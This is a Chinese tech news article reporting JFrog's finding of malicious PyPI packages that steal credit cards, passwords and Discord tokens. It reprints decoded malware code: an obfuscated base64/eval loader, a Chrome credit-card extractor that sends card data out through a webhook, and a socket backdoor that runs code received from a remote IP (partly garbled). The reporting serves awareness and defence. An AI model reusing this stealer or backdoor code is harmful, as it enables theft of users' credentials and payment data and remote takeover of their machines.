PyPI又双叒叕发现恶意软件，能盗取信用卡还有后门程序

新闻 2021-08-04 晓查

435 0

Python程序员真的要小心了

晓查发自凹非寺
非常AI 报道 | 公众号 QbitAI

Python程序员真的要小心了，PyPI软件库问题真是越来越严重。

继今年6月出现挖矿病毒后，PyPI最近再次出现了一批恶意软件，

JFrog安全团队发现，PyPI库中有多个软件存在盗取信用卡信息、远程注入代码的行为，而这些软件总共被下载了3万次。

这些被发现问题的恶意软件分别是：

当程序员安装完这些软件后，它们将在后台不知不觉读取浏览器文件夹，从而盗取信用卡信息和密码。

它们是如何窃取信用卡信息的

安全研究人员发现，上述所有软件包都使用Base64编码进行伪装。

比如上述的noblesse2：

import base64, codecs
magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...'
love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M...'
god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg...'
destiny = 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64...')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))

这种方法可以欺骗一些简单的分析工具，但是仔细研究可以发现其中的问题。

以上8个软件包分别包含了以下不同种类的恶意行为：

1、窃取Discord帐户身份验证token

Discord身份验证token读取器的代码非常简单，它就是一组硬编码的路径：

local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')

paths = {
    'Discord': roaming + '\\Discord',
    'Discord Canary': roaming + '\\discordcanary',
    'Discord PTB': roaming + '\\discordptb',
    'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
    'Opera': roaming + '\\Opera Software\\Opera Stable',
    'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
    'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
}

然后代码会读取这几种浏览器路径下的所有.log和.ldb文件，并查找Discord身份验证token，结果通过Webhook上传到Discord。

2、窃取浏览器存储的密码或信用卡数据

当你在浏览器中输入密码或信用卡数据时，一般都会跳出如下窗口，提示用户保存这些信息。

虽然这给用户带来方便，今后不用一遍遍输入密码，但缺点是这些信息可能会恶意软件获取。

在这种情况下，恶意软件会尝试从Chrome窃取信用卡信息：

def cs():
    master_key = master()
    login_db = os.environ['USERPROFILE'] + os.sep + \
        r'AppData\Local\Google\Chrome\User Data\default\Web Data'
    shutil.copy2(login_db,
                 "CCvault.db")
    conn = sqlite3.connect("CCvault.db")
    cursor = conn.cursor()

    try:
        cursor.execute("SELECT * FROM credit_cards")
        for r in cursor.fetchall():
            username = r[1]
            encrypted_password = r[4]
            decrypted_password = dpw(
                encrypted_password, master_key)
            expire_mon = r[2]
            expire_year = r[3]
            hook.send(f"CARD-NAME: " + username + "\nNUMBER: " + decrypted_password + "\nEXPIRY M: " + str(expire_mon) + "\nEXPIRY Y: " + str(expire_year) + "\n" + "*" * 10 + "\n")

这些信息和前一种情况一样会通过Webhook上传。

3、收集有关受感染PC的信息：如IP地址、计算机名称和用户名

除此之外，这些软件还会收集Windows许可证密钥信息、Windows版本以及屏幕截图。

4、远程代码注入

pytagora和pytagora2这两个恶意软件会尝试连接到某个IP地址9009端口上，然后执行Socket中可用的任何Python代码。

其中混淆的代码被安全人员解码成如下片段：

import socket,struct,time
s=socket.socket(2,socket.socket.socket.SOCK_STREAM)
s.connect(('172.16.60.80',9009))
l=struct.unpack('>I',s.recv(4))[0]
print (l)
d=s.recv(l)
print (d)
while len(d)>!1:
d+=s.recv(l-len(d))
print (d)
exec(d,{'s':s})